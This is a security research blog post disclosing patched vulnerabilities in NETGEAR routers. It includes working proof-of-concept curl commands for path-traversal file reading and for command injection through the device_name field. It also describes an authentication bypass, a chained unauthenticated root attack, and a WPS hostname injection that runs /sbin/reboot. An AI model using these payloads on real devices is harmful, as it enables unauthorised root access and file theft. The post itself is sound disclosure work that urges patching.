Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Trustwave SpiderLabs Exposes Unique Cybersecurity Threats in the Public Sector. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Multiple Vulnerabilities in NETGEAR Routers

Last year I discovered multiple vulnerabilities in NETGEAR products. Now that these vulnerabilities have gone through the disclosure process and have been patched we can discuss the technical details.

TWSL2018-002: Password Recovery and File Access on Some Routers and Modem Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18724

NETGEAR advisory: https://kb.netgear.com/000045848/Security-Advisory-for-Password-Recovery-and-File-Access-on-Some-Routers-and-Modem-Routers-PSV-2017-0677

Some routers allow arbitrary file reading from the device provided that the path to file is known. Proof-of-concept for Nighthawk X8 running firmware 1.0.2.86 or earlier:

curl -d "id=304966648&next_file=cgi-bin/../../tmp/mnt/usb0/part1/README.txt" http://192.168.1.1/genie_restoring.cgi?id=304966648

The above will fetch README.txt file located on a USB thumb drive inserted into the router. Total of 17 products are affected. Specific models are listed in the Advisory notes.

 

TWSL2018-003: Finding 1: Post-Authentication Command Injection on Some Routers and Modem Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18726

NETGEAR advisory: https://kb.netgear.com/000045850/Security-Advisory-for-Post-Authentication-Command-Injection-on-Some-Routers-and-Modem-Routers-PSV-2017-1207

This one affects six products per NETGEAR's advisory. What happens there is root level OS command execution via the device_name parameter on the lan.cgi page:

curl -d "action=Apply&device_name=A%22+%26%26+touch+%2Ftmp%2Fjimmers+%26%26+echo+%22B&sysLANIPAddr1=192&sysLANIPAddr2=168&sysLANIPAddr3=1&sysLANIPAddr4=1&sysLANSubnetMask1=255&sysLANSubnetMask2=255&sysLANSubnetMask3=255&sysLANSubnetMask4=0&rip_direction=1&sysRIPVersion=Disabled&dhcp_server=dhcp_server&sysPoolStartingAddr4=2&sysPoolFinishAddr4=254&select=-1&arp_enable=disable&ipmac_token=0&dev_name=R8500mge&lan_ipaddr=192.168.1.1&lan_netmask=255.255.255.0&rip_enable=0&rip_multicast=1" http://192.168.1.1/lan.cgi?id=988337b27ba1f3cdc280e454860f8b10d84e42da

Note that this attack requires authentication.

 

TWSL2018-003: Finding 2: Authentication Bypass on Some Routers or Modem Routers

NETGEAR advisory: https://kb.netgear.com/000048998/Security-Advisory-for-Authentication-Bypass-on-Some-Routers-or-Modem-Routers-PSV-2017-1208

This also affects large set of products (17 total) and is trivial to exploit. Authentication is bypassed if "&genie=1" is found within the query string.

 

TWSL2018-003: Chained Attack: Command Injection on Some Routers and Modem Routers

NETGEAR advisory: https://kb.netgear.com/000048999/Security-Advisory-for-Command-Injection-on-Some-Routers-and-Modem-Routers-PSV-2017-1209

The same set of products is affected. This is a three-stage attack leveraging three separate issues: CSRF token recovery vulnerability (here's a tool to help: https://github.com/SpiderLabs/advisories-poc/blob/master/TWSL2018-003/csrf.c) and the two findings in TWSL2018-003. As a result, any user connected to the router can run OS commands as root on the device without providing any credentials.

 

TWSL2018-004: Command Injection Vulnerability on D7000, EX6200v2, and Some Routers

Trustwave SpiderLabs Advisory: https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=18722 

NETGEAR advisory: https://kb.netgear.com/000049354/Security-Advisory-for-Command-Injection-Vulnerability-on-D7000-EX6200v2-and-Some-Routers-PSV-2017-2181

Only 6 products are affected, this allows to run OS commands as root during short time window when WPS is activated. To prove, add the following line to the /etc/wpa_supplicant.conf file on your Linux box and join WPS initialed on the router.

(Nighthawk X4S):
device_name=MR" /sbin/reboot "

Observe the router reboot! This happens because internal code executed as part of WPS fails to sanitize hostnames.

Trustwave SpiderLabs has worked with NETGEAR through our responsible disclosure process to make sure that these vulnerabilities are addressed. We'd also like to thank NETGEAR for their responsive and communicative PSIRT team. It's obvious that their participation in bug bounties has helped them improve their internal process for addressing issues like these.

Please check the NETGEAR advisory pages to find the firmware that applies to your router model and make sure that your devices are patched if they are affected.

Latest SpiderLabs Blogs

Important Security Defenses to Help Your CISO Sleep at Night

This is Part 13 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More

2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies

Trustwave SpiderLabs’ 2024 Public Sector Threat Landscape: Trustwave Threat Intelligence Briefing and Mitigation Strategies report details the security issues facing public sector security teams as...

Read More

How to Create the Asset Inventory You Probably Don't Have

This is Part 12 in my ongoing project to cover 30 cybersecurity topics in 30 weekly blog posts. The full series can be found here.

Read More